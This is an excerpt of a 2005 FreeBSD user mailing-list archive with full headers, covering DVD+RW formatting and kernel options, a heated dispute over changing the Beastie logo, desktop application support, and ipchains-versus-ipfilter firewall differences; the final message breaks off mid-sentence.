User-Agent: KMail/1.7 References: <200502102147.10722.ian@codepad.net> <200502102333.48699.ian@codepad.net> <20050211153224.GD599@nosferatu.blackend.org> In-Reply-To: <20050211153224.GD599@nosferatu.blackend.org> MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit Content-Disposition: inline Message-Id: <200502121013.20617.ian@codepad.net> Subject: Re: formatting a DVD+RW X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sat, 12 Feb 2005 10:13:24 -0000 On Friday 11 February 2005 15:32, Marc Fonvieille wrote: > On Thu, Feb 10, 2005 at 11:33:48PM +0000, Xian wrote: > > On Thursday 10 February 2005 21:51, Marc Fonvieille wrote: > > > > > > > Under 5.X or 4.X ? > > > > 5.3R > > You have to read > http://www.freebsd.org/doc/en_US.ISO8859-1/books/handbook/creating-dvds.htm >l > > Marc I have read that, that's what gave me the idea they need to be formatted. -- /Xian "Unix IS user friendly.. It's just selective about who its friends are." Nelis Lamprecht From owner-freebsd-questions@FreeBSD.ORG Sat Feb 12 10:14:20 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 99A7A16A4CE for ; Sat, 12 Feb 2005 10:14:20 +0000 (GMT) Received: from mail.freebsd-corp-net-guide.com (mail.freebsd-corp-net-guide.com [65.75.192.90]) by mx1.FreeBSD.org (Postfix) with ESMTP id 2679E43D31 for ; Sat, 12 Feb 2005 10:14:20 +0000 (GMT) (envelope-from tedm@toybox.placo.com) Received: from tedwin2k (nat-rtr.freebsd-corp-net-guide.com [65.75.197.130]) j1CAEIj31231; Sat, 12 Feb 2005 02:14:18 -0800 (PST) (envelope-from tedm@toybox.placo.com) From: "Ted Mittelstaedt" To: "Garance A Drosihn" , "Bart Silverstrim" , Date: Sat, 12 Feb 2005 02:14:16 -0800 Message-ID: MIME-Version: 1.0 Content-Type: text/plain; charset="US-ASCII" Content-Transfer-Encoding: 7bit X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook IMO, Build 9.0.6604 (9.0.2911.0) X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2800.1441 In-Reply-To: Importance: Normal Subject: RE: Please don't change Beastie to another crap logo such as NetBSD!!! X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sat, 12 Feb 2005 10:14:20 -0000 > -----Original Message----- > From: owner-freebsd-questions@freebsd.org > [mailto:owner-freebsd-questions@freebsd.org]On Behalf Of Garance A > Drosihn > Sent: Friday, February 11, 2005 12:56 PM > To: Bart Silverstrim; freebsd-questions@freebsd.org > Subject: Re: Please don't change Beastie to another crap logo such as > NetBSD!!! > > > At 8:00 AM -0500 2/11/05, Bart Silverstrim wrote: > >Just to sum up things as I understand it... > > > >People want to change the logo from Beastie to something else > >because Beastie isn't professional enough, so some committers > >decided to hold a contest for a new logo? > > We thought it would be nice, after fifteen years, to see if our > much-larger user base has any interesting ideas for a new logo. That is putting the cart before the horse. What you need to do first is find out if our much-larger userbase WANTS a new logo. If they do, THEN try finding out if they have any interesting ideas for one. > > >Out of curiosity, is Beastie so terrible, a logo, that a business > >would be stupid enough to base their server decisions based on it? > > Businesses are stupid. People who demand dedicated allegiance to > one single cartoon image are just as stupid. Both are facts, and > neither is a late-breaking news item. > The FreeBSD project is not a business. > >Someone said people change logos all the time. That's flat out > >wrong. When a company spends mucho dinero on marketing their > >logo, they don't just flip around and decide to change their > >logo that they spent so much money and time getting mindshare > >with. Have any examples of logos that have constantly changed? > > We do constantly see companies change their logo. That is not the > same thing as saying any *one* company is constantly changing *its* > logo. Apple has changed its logo. AT&T changed its logo several > times. GE recently changed its one-line motto. At one point, > McDonalds rebuilt every one of their stores from the old > "golden-arches" look to the newer "family restaurant" look -- and > that cost a hell of a lot more than any logo change. > All of those organizations are businesses. The FreeBSD Project is not. How is any of that applicable? > Right now we're working with an image that was picked 15 years ago > for a very small open-source project. Your working with an image that was first associated with UNIX in 1976, which is almost it's entire life. > We now claim to be several > orders of magnitude larger than that. I doubt there is *any* > company who has stuck with it's original logo as it went from > "five guys running a hobby" to "millions of users". > The FreeBSD Project is not a company. > >Since when did FreeBSD, a project always driven by volunteers and > >not by commercial matters, suddenly gain a marketing department > >that is trying to steer FreeBSD into the business sector? Is > >FreeBSD starting to have marketing dictate technology instead of > >technology dictate marketing? > > Some of those volunteers would like to see a new logo. Others > would not. The vast majority probably do not care at all. If you really believe that, then hold a vote on the issue don't just ASS-U-ME it. There is an online petition currently that says that quite a lot of the volunteers do indeed care. > Somehow > the ones who like the present logo seem to think they can simply > dismiss all comments from the other volunteers who would like a > new logo, as if the work done by THOSE volunteers is somehow > irrelevant. > Somehow the ones who dislike the present logo seem to think they can simply dismiss all comments from the other volunteers who would like to retain the old logo, as if the work done by THOSE volunteers is somehow irrelevant. Ted From owner-freebsd-questions@FreeBSD.ORG Sat Feb 12 10:15:13 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 0ADAF16A4CE for ; Sat, 12 Feb 2005 10:15:13 +0000 (GMT) Received: from mail.freebsd-corp-net-guide.com (mail.freebsd-corp-net-guide.com [65.75.192.90]) by mx1.FreeBSD.org (Postfix) with ESMTP id B2BDA43D41 for ; Sat, 12 Feb 2005 10:15:12 +0000 (GMT) (envelope-from tedm@toybox.placo.com) Received: from tedwin2k (nat-rtr.freebsd-corp-net-guide.com [65.75.197.130]) j1CAFFj31247 for ; Sat, 12 Feb 2005 02:15:15 -0800 (PST) (envelope-from tedm@toybox.placo.com) From: "Ted Mittelstaedt" To: Date: Sat, 12 Feb 2005 02:15:14 -0800 Message-ID: MIME-Version: 1.0 Content-Type: text/plain; charset="US-ASCII" Content-Transfer-Encoding: 7bit X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook IMO, Build 9.0.6604 (9.0.2911.0) X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2800.1441 In-Reply-To: <126689881.20050212105809@wanadoo.fr> Importance: Normal Subject: RE: Please don't change Beastie to another crap logo such as X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sat, 12 Feb 2005 10:15:13 -0000 > -----Original Message----- > From: owner-freebsd-questions@freebsd.org > [mailto:owner-freebsd-questions@freebsd.org]On Behalf Of Anthony > Atkielski > Sent: Saturday, February 12, 2005 1:58 AM > To: freebsd-questions@freebsd.org > Subject: Re: Please don't change Beastie to another crap logo such as > > > > The problem is that this is the only behavior there is for the moment. > There is no official support mechanism, and I daresay there is > virtually > no one who can do good formal presentations of the OS, either. > Why is this a problem? Are you concerned with what our stockholders would say if they found out? Ted From owner-freebsd-questions@FreeBSD.ORG Sat Feb 12 10:21:22 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id ECC4E16A4CE for ; Sat, 12 Feb 2005 10:21:22 +0000 (GMT) Received: from smtp9.wanadoo.fr (smtp9.wanadoo.fr [193.252.22.22]) by mx1.FreeBSD.org (Postfix) with ESMTP id A788A43D49 for ; Sat, 12 Feb 2005 10:21:20 +0000 (GMT) (envelope-from atkielski.anthony@wanadoo.fr) Received: from me-wanadoo.net (localhost [127.0.0.1]) by mwinf0901.wanadoo.fr (SMTP Server) with ESMTP id 8D09E2001425 for ; Sat, 12 Feb 2005 11:21:19 +0100 (CET) Received: from pix.atkielski.com (ASt-Lambert-111-2-1-3.w81-50.abo.wanadoo.fr [81.50.80.3]) by mwinf0901.wanadoo.fr (SMTP Server) with ESMTP id 734562001422 for ; Sat, 12 Feb 2005 11:21:19 +0100 (CET) X-ME-UUID: 20050212102119472.734562001422@mwinf0901.wanadoo.fr Date: Sat, 12 Feb 2005 11:21:19 +0100 From: Anthony Atkielski X-Priority: 3 (Normal) Message-ID: <1699959992.20050212112119@wanadoo.fr> To: freebsd-questions@freebsd.org In-Reply-To: References: <1108126229.4084.43.camel@localhost.localdomain> <2fd864e05021106537bdcff09@mail.gmail.com> <1108146951.31338.10.camel@hatter.wonderland.dn> <1935025570.20050211232605@wanadoo.fr> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Subject: Re: Instead of freebsd.com, why not... X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list Reply-To: freebsd-questions@freebsd.org List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sat, 12 Feb 2005 10:21:23 -0000 Sander Vesik writes: > This is BULLSHIT. Not just any any bullshit either but virulent stinky > bullshit - and also coincidentially the best way to dispromote > FreeBSD. You need to support your position with reasoned arguments, otherwise it will not persuade. That's what I do. -- Anthony From owner-freebsd-questions@FreeBSD.ORG Sat Feb 12 10:23:57 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 63AAC16A4CE for ; Sat, 12 Feb 2005 10:23:57 +0000 (GMT) Received: from ptb-relay01.plus.net (ptb-relay01.plus.net [212.159.14.212]) by mx1.FreeBSD.org (Postfix) with ESMTP id 2747643D41 for ; Sat, 12 Feb 2005 10:23:57 +0000 (GMT) (envelope-from ian@codepad.net) Received: from [80.229.159.44] (helo=hercules.codepad.net) by ptb-relay01.plus.net with esmtp (Exim) id 1CzuRQ-0009WJ-0M for freebsd-questions@freebsd.org; Sat, 12 Feb 2005 10:23:56 +0000 From: Xian To: freebsd-questions@freebsd.org Date: Sat, 12 Feb 2005 10:23:49 +0000 User-Agent: KMail/1.7 References: <200502102147.10722.ian@codepad.net> <420C3513.9060007@mac.com> In-Reply-To: <420C3513.9060007@mac.com> MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable Content-Disposition: inline Message-Id: <200502121023.49960.ian@codepad.net> Subject: Re: formatting a DVD+RW X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sat, 12 Feb 2005 10:23:57 -0000 On Friday 11 February 2005 04:31, Chuck Swiger wrote: > Xian wrote: > > I am trying to format a DVD+RW as I gather this kind of DVD needs. I > > tried growisofs and it told me: > > > > * DVD=B1RW/-RAM format utility by , version 4.10. > > > > :-( unable to open("/dev/acd0"): Inappropriate ioctl for device > > Did you rebuild your kernel with the ATAPICAM option enabled? I didn't have. I just added 'device atapicam' and it is still giving me the= =20 same errors. Looked on the man page, and found: device ata device atapicam device scbus device cd device pass I guess I need them as well? (Re-compiles _again_). Will I have to use the= =20 burner through cd0 or acd0 now? It also recommended against having a SCSI and an ATA representation of each= =20 drive. Would it be safe to remove device acd from the kernel and only use c= d=20 now? =2D-=20 /Xian "The further the spiritual evolution of mankind advances, the more certain = it=20 seems to me that the path to genuine religiosity does not lie through the=20 fear of life, and the fear of death, and blind faith, but through striving= =20 after rational knowledge." Albert Einstein From owner-freebsd-questions@FreeBSD.ORG Sat Feb 12 10:30:47 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 8C37416A4CE for ; Sat, 12 Feb 2005 10:30:47 +0000 (GMT) Received: from smtp11.wanadoo.fr (smtp11.wanadoo.fr [193.252.22.31]) by mx1.FreeBSD.org (Postfix) with ESMTP id 3093643D2F for ; Sat, 12 Feb 2005 10:30:47 +0000 (GMT) (envelope-from atkielski.anthony@wanadoo.fr) Received: from me-wanadoo.net (localhost [127.0.0.1]) by mwinf1104.wanadoo.fr (SMTP Server) with ESMTP id 63FC81C000A1 for ; Sat, 12 Feb 2005 11:30:46 +0100 (CET) Received: from pix.atkielski.com (ASt-Lambert-111-2-1-3.w81-50.abo.wanadoo.fr [81.50.80.3]) by mwinf1104.wanadoo.fr (SMTP Server) with ESMTP id 41BAD1C00094 for ; Sat, 12 Feb 2005 11:30:46 +0100 (CET) X-ME-UUID: 20050212103046269.41BAD1C00094@mwinf1104.wanadoo.fr Date: Sat, 12 Feb 2005 11:30:45 +0100 From: Anthony Atkielski X-Priority: 3 (Normal) Message-ID: <823306184.20050212113045@wanadoo.fr> To: freebsd-questions@freebsd.org In-Reply-To: <200502120122.33589.reso3w83@verizon.net> References: <1935025570.20050211232605@wanadoo.fr> <200502120122.33589.reso3w83@verizon.net> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Subject: Re: Instead of freebsd.com, why not... X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list Reply-To: freebsd-questions@freebsd.org List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sat, 12 Feb 2005 10:30:47 -0000 Michael C. Shultz writes: > I Agree! My FreeBSD desktop is very stable and user friendly. What > ever time I spend fixing/managing desktops is on my friends windows > machines, never my own because it always just works. Maybe you can explain to me how to get the following applications to run on a FreeBSD desktop: Adobe Photoshop Adobe Illustrator Quark XPress The Sims 2 Flight Simulator UltraEdit Visual InterDev Microsoft Word Microsoft Excel Microsoft PowerPoint Microsoft Money The Bat! Opera Firefox Microsoft Internet Explorer Corel KnockOut Flight Check Bar Code Pro MathType SecureFX SecureCRT SFS Rebel Fritz 6.0 POV-Ray Adobe PageMaker Adobe Streamline Adobe Acrobat (full version) Paint Shop Pro Palm Desktop SimCity GeoClock Ear Test BlitzIn Audio MP3 Editor Forte Agent Movie Maker Nikon Scan Rainbow Wacom Intuos However, I should point out that I also have applications that will not run on Windows: BIND sendmail syslog sshd ProFTP SFTP The list is not long for FreeBSD, but every one of these applications is a critical application, and most must run without fail 24 hours a day, seven days a week. Any one of them is enough to justify running a dedicated FreeBSD server. For this reason, I have several machines: a FreeBSD server, a Windows XP desktop, and a Windows NT server used as a desktop (to support some legacy applications). -- Anthony From owner-freebsd-questions@FreeBSD.ORG Sat Feb 12 10:33:32 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 6D37316A4CE for ; Sat, 12 Feb 2005 10:33:32 +0000 (GMT) Received: from smtp11.wanadoo.fr (smtp11.wanadoo.fr [193.252.22.31]) by mx1.FreeBSD.org (Postfix) with ESMTP id 2991543D2F for ; Sat, 12 Feb 2005 10:33:32 +0000 (GMT) (envelope-from atkielski.anthony@wanadoo.fr) Received: from me-wanadoo.net (localhost [127.0.0.1]) by mwinf1107.wanadoo.fr (SMTP Server) with ESMTP id 5B86D1C0009B for ; Sat, 12 Feb 2005 11:33:31 +0100 (CET) Received: from pix.atkielski.com (ASt-Lambert-111-2-1-3.w81-50.abo.wanadoo.fr [81.50.80.3]) by mwinf1107.wanadoo.fr (SMTP Server) with ESMTP id 41C391C00093 for ; Sat, 12 Feb 2005 11:33:31 +0100 (CET) X-ME-UUID: 20050212103331269.41C391C00093@mwinf1107.wanadoo.fr Date: Sat, 12 Feb 2005 11:33:30 +0100 From: Anthony Atkielski X-Priority: 3 (Normal) Message-ID: <295532666.20050212113330@wanadoo.fr> To: freebsd-questions@freebsd.org In-Reply-To: References: <126689881.20050212105809@wanadoo.fr> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Subject: Re: Please don't change Beastie to another crap logo such as X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list Reply-To: freebsd-questions@freebsd.org List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sat, 12 Feb 2005 10:33:32 -0000 Ted Mittelstaedt writes: > Why is this a problem? Are you concerned with what our stockholders > would say if they found out? I'm concerned about the future of the OS if the user base dwindles. I think that potential users of the OS should be sought out and made aware of FreeBSD. It doesn't have to be a Major Media Event, but it should be an organized effort, not just a haphazard, ad hoc attempt. -- Anthony From owner-freebsd-questions@FreeBSD.ORG Sat Feb 12 10:38:32 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 5AFF016A4CE for ; Sat, 12 Feb 2005 10:38:32 +0000 (GMT) Received: from mail.freebsd-corp-net-guide.com (mail.freebsd-corp-net-guide.com [65.75.192.90]) by mx1.FreeBSD.org (Postfix) with ESMTP id BBD8A43D2D for ; Sat, 12 Feb 2005 10:38:31 +0000 (GMT) (envelope-from tedm@toybox.placo.com) Received: from tedwin2k (nat-rtr.freebsd-corp-net-guide.com [65.75.197.130]) j1CAcYj31369 for ; Sat, 12 Feb 2005 02:38:34 -0800 (PST) (envelope-from tedm@toybox.placo.com) From: "Ted Mittelstaedt" To: Date: Sat, 12 Feb 2005 02:38:33 -0800 Message-ID: MIME-Version: 1.0 Content-Type: text/plain; charset="US-ASCII" Content-Transfer-Encoding: 7bit X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook IMO, Build 9.0.6604 (9.0.2911.0) X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2800.1441 In-Reply-To: <768934056.20050212111306@wanadoo.fr> Importance: Normal Subject: Technically superior products WAS RE: Please don't change Beastie to another crap logo suchasNetBSD!!! X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sat, 12 Feb 2005 10:38:32 -0000 > -----Original Message----- > From: owner-freebsd-questions@freebsd.org > [mailto:owner-freebsd-questions@freebsd.org]On Behalf Of Anthony > Atkielski > Sent: Saturday, February 12, 2005 2:13 AM > To: freebsd-questions@freebsd.org > Subject: Re: Please don't change Beastie to another crap logo > suchasNetBSD!!! > > > Ted Mittelstaedt writes: > > > Technically superior products are technically superior because they > > have MORE than the customary R&D put into them. That makes them MORE > > expensive than the median/mediocre products that dominate a market. > > Explain Intel. > Do you like giving me fish in a barrel or what? :-) Actually, I know you were making a joke. I did laugh. But this actually proves my point. Back in the olden days when the computer market still had the potential for accepting a better-but-radically different PC design, the Intel CPU family was pretty lame compared to many other designs (ie: Zilog Z80 for example) But, it was cheap. Today of course, there are only 2 CPU companies that matter, AMD and Intel. But, their products are completely tied to the current PC paradigm due to the absolute requirement for backwards compatability - and that absolute requirement exists because of the usual BINARY distribution of software. If you are willing to jettison that paradigm there are many far better and more exciting and more advanced CPU designs in the universities. Obviously since they have no economies of scale they would be horribly expensive. And since it's possible to get their performance with clusters of cheap, mediocre CPUs in commodity computers, the economics have pretty much dictated they will remain ideas only. One of these days if we are lucky, Open Source will prevail, and the day will come that for a program to support a completely different computer architecture, a simple recompile will be all that is needed. Since users will get source with the applications they get, doing this will be not impossible. At that time we may then see the computer hardware market go back to normal competition. But until then it is important to keep in mind that the computer desktop hardware market is in the middle of an anomaly. But, be afraid. The telephone handset market was in such the same anomaly for almost a century. Today we are seeing the beginnings of VoIP which may change the paradigm and reignight some real competition. But then again it may not. Television sets remained the same for about 40 years there also. Ted From owner-freebsd-questions@FreeBSD.ORG Sat Feb 12 10:45:23 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 24F6116A4CE for ; Sat, 12 Feb 2005 10:45:23 +0000 (GMT) Received: from top.daemonsecurity.com (FW-182-254.go.retevision.es [62.174.254.182]) by mx1.FreeBSD.org (Postfix) with ESMTP id 913F343D1D for ; Sat, 12 Feb 2005 10:45:22 +0000 (GMT) (envelope-from norgaard@locolomo.org) Received: from [192.168.0.32] (charm.daemonsecurity.com [192.168.0.32]) by top.daemonsecurity.com (Postfix) with ESMTP id 356FBFD01F; Sat, 12 Feb 2005 11:45:21 +0100 (CET) Message-ID: <420DDE3F.1060807@locolomo.org> Date: Sat, 12 Feb 2005 11:45:19 +0100 From: Erik Norgaard User-Agent: Mozilla/5.0 (X11; U; FreeBSD i386; en-US; rv:1.7.5) Gecko/20050127 X-Accept-Language: en, en-us, da, it, es MIME-Version: 1.0 To: Luciano Musacchio References: <200502120158.59833.l0kit0@exactas.org> In-Reply-To: <200502120158.59833.l0kit0@exactas.org> Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit cc: freebsd-questions@freebsd.org Subject: Re: ipfilter2ipchains script? X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sat, 12 Feb 2005 10:45:23 -0000 Luciano Musacchio wrote: > is there an ipfilter to ipchains conversion script or program?, > if not, whats the better solution for a newbie bsd admin to do > firewalls on linux? (long term plan is bsd-migration of course :) If you are migrating to bsd, I guess you want conversion ipchains -> ipfilter? In any case I wouldn't recommend scripting it, you have now an excelent oportunity to review your firewall rules. And, you really need to learn how to manage these rules on the new system. Secondly, it may not be posible at all: ipchains allows multiple entry points into a chain, in ipfilter the corresponding is groups, but groups allows only one entrypoint (head). ipchains is first match, ipfilter is last match, unless you specify quick. in ipchains, if no rules match in a chain, you always go back to the original, in ipfilter, you can specify "quick" in the head rule and only rules below that head will be matched against. ipchains uses somewhat obscure "masquerading" and a special forward chain. in ipfilter it's a separate nat ruleset. ipchains is stateless packet filtering, packets are allways run though the input and the output chain. In ipfilter, you can use keep state in the input filtering, then packets going through will only be filtered on the way in. In ipfilter, accounting is a separate ruleset, in ipchains IIRC you add a count keyword in the matching rule. etc... So, with all these differences and more, better start with the ipfilter howto - I needed to read it a few times before it really setled, don't just skim it. cheers, Erik -- Ph: +34.666334818 web: http://www.locolomo.org S/MIME Certificate: http://www.locolomo.org/crt/2004071206.crt Subject ID: A9:76:7A:ED:06:95:2B:8D:48:97:CE:F2:3F:42:C8:F2:22:DE:4C:B9 Fingerprint: 4A:E8:63:38:46:F6:9A:5D:B4:DC:29:41:3F:62:D3:0A:73:25:67:C2 From owner-freebsd-questions@FreeBSD.ORG Sat Feb 12 10:48:18 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 47D5316A4CE for ; Sat, 12 Feb 2005 10:48:18 +0000 (GMT) Received: from mail.freebsd-corp-net-guide.com (mail.freebsd-corp-net-guide.com [65.75.192.90]) by mx1.FreeBSD.org (Postfix) with ESMTP id C410243D39 for ; Sat, 12 Feb 2005 10:48:17 +0000 (GMT) (envelope-from tedm@toybox.placo.com) Received: from tedwin2k (nat-rtr.freebsd-corp-net-guide.com [65.75.197.130]) j1CAmKj31401 for ; Sat, 12 Feb 2005 02:48:20 -0800 (PST) (envelope-from tedm@toybox.placo.com) From: "Ted Mittelstaedt" To: Date: Sat, 12 Feb 2005 02:48:19 -0800 Message-ID: MIME-Version: 1.0 Content-Type: text/plain; charset="US-ASCII" Content-Transfer-Encoding: 7bit X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook IMO, Build 9.0.6604 (9.0.2911.0) X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2800.1441 In-Reply-To: <295532666.20050212113330@wanadoo.fr> Importance: Normal Subject: RE: Please don't change Beastie to another crap logo such as X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sat, 12 Feb 2005 10:48:18 -0000 > -----Original Message----- > From: owner-freebsd-questions@freebsd.org > [mailto:owner-freebsd-questions@freebsd.org]On Behalf Of Anthony > Atkielski > Sent: Saturday, February 12, 2005 2:34 AM > To: freebsd-questions@freebsd.org > Subject: Re: Please don't change Beastie to another crap logo such as > > > Ted Mittelstaedt writes: > > > Why is this a problem? Are you concerned with what our stockholders > > would say if they found out? > > I'm concerned about the future of the OS if the user base dwindles. > Apple Computer company lived for a long time there because they figured out one of the secrets - it's not necessary to have all the customers, it's only necessary that all of the customers you do have, pay you a lot of money. FreeBSD doesen't need every single computer user. We only need the ones that are useful ones. And criteria for a user being a desirable one is pretty easy, they need to put more into the project than they take out. Thus when a user that is new to FreeBSD first starts using it, they will need support and hand-holding from the mailing lists and Usenet newsgroups. As long as a few years later when they have come up to speed, they then turn around and volunteer their time on these same forums to help others into the boat, we are going to survive and thrive. The same goes with developers - the technical mailing lists have many questions from developers experienced with coding but new to FreeBSD, who ask questions. If these people come back and contribute some code to the project, then that's what we need. Even I take time out now and then from arguing with you to answer a few questions. ;-) What we don't want are a lot of the kinds of users that infest the Linx forums - people that pester, pester, pester for answers to questions in the manual, then once they figure out how to get what small item they want to work, they are never seen or heard from in those groups again. Ted From owner-freebsd-questions@FreeBSD.ORG Sat Feb 12 10:50:27 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id F417B16A4CE for ; Sat, 12 Feb 2005 10:50:26 +0000 (GMT) Received: from mail.freebsd-corp-net-guide.com (mail.freebsd-corp-net-guide.com [65.75.192.90]) by mx1.FreeBSD.org (Postfix) with ESMTP id A107B43D48 for ; Sat, 12 Feb 2005 10:50:26 +0000 (GMT) (envelope-from tedm@toybox.placo.com) Received: from tedwin2k (nat-rtr.freebsd-corp-net-guide.com [65.75.197.130]) j1CAoTj31417 for ; Sat, 12 Feb 2005 02:50:29 -0800 (PST) (envelope-from tedm@toybox.placo.com) From: "Ted Mittelstaedt" To: Date: Sat, 12 Feb 2005 02:50:28 -0800 Message-ID: MIME-Version: 1.0 Content-Type: text/plain; charset="US-ASCII" Content-Transfer-Encoding: 7bit X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook IMO, Build 9.0.6604 (9.0.2911.0) X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2800.1441 In-Reply-To: <823306184.20050212113045@wanadoo.fr> Importance: Normal Subject: RE: Instead of freebsd.com, why not... X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sat, 12 Feb 2005 10:50:27 -0000 > -----Original Message----- > From: owner-freebsd-questions@freebsd.org > [mailto:owner-freebsd-questions@freebsd.org]On Behalf Of Anthony > Atkielski > Sent: Saturday, February 12, 2005 2:31 AM > To: freebsd-questions@freebsd.org > Subject: Re: Instead of freebsd.com, why not... > > > Michael C. Shultz writes: > > > I Agree! My FreeBSD desktop is very stable and user friendly. What > > ever time I spend fixing/managing desktops is on my friends windows > > machines, never my own because it always just works. > > Maybe you can explain to me how to get the following > applications to run > on a FreeBSD desktop: > > Forte Agent ^^^^^^^^^^^ You got to be kidding - you actually prefer this over trn? ;-) Ted From owner-freebsd-questions@FreeBSD.ORG Sat Feb 12 10:53:51 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 17A9116A4CE for ; Sat, 12 Feb 2005 10:53:51 +0000 (GMT) Received: from mail.freebsd-corp-net-guide.com (mail.freebsd-corp-net-guide.com [65.75.192.90]) by mx1.FreeBSD.org (Postfix) with ESMTP id BEAD443D31 for ; Sat, 12 Feb 2005 10:53:50 +0000 (GMT) (envelope-from tedm@toybox.placo.com) Received: from tedwin2k (nat-rtr.freebsd-corp-net-guide.com [65.75.197.130]) j1CArrj31436 for ; Sat, 12 Feb 2005 02:53:53 -0800 (PST) (envelope-from tedm@toybox.placo.com) From: "Ted Mittelstaedt" To: Date: Sat, 12 Feb 2005 02:53:52 -0800 Message-ID: MIME-Version: 1.0 Content-Type: text/plain; charset="US-ASCII" Content-Transfer-Encoding: 7bit X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook IMO, Build 9.0.6604 (9.0.2911.0) X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2800.1441 In-Reply-To: <823196404.20050212105644@wanadoo.fr> Importance: Normal Subject: RE: Freebsd vs. linux X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sat, 12 Feb 2005 10:53:51 -0000 > -----Original Message----- > From: owner-freebsd-questions@freebsd.org > [mailto:owner-freebsd-questions@freebsd.org]On Behalf Of Anthony > Atkielski > Sent: Saturday, February 12, 2005 1:57 AM > To: freebsd-questions@freebsd.org > Subject: Re: Freebsd vs. linux > > > > Could you please either explain, why Freebsd is superior to > Linux, (I am > > asking this as I would like to understand, in more depth, why it is > > better) or direct me to a source that might give me some further > > reading 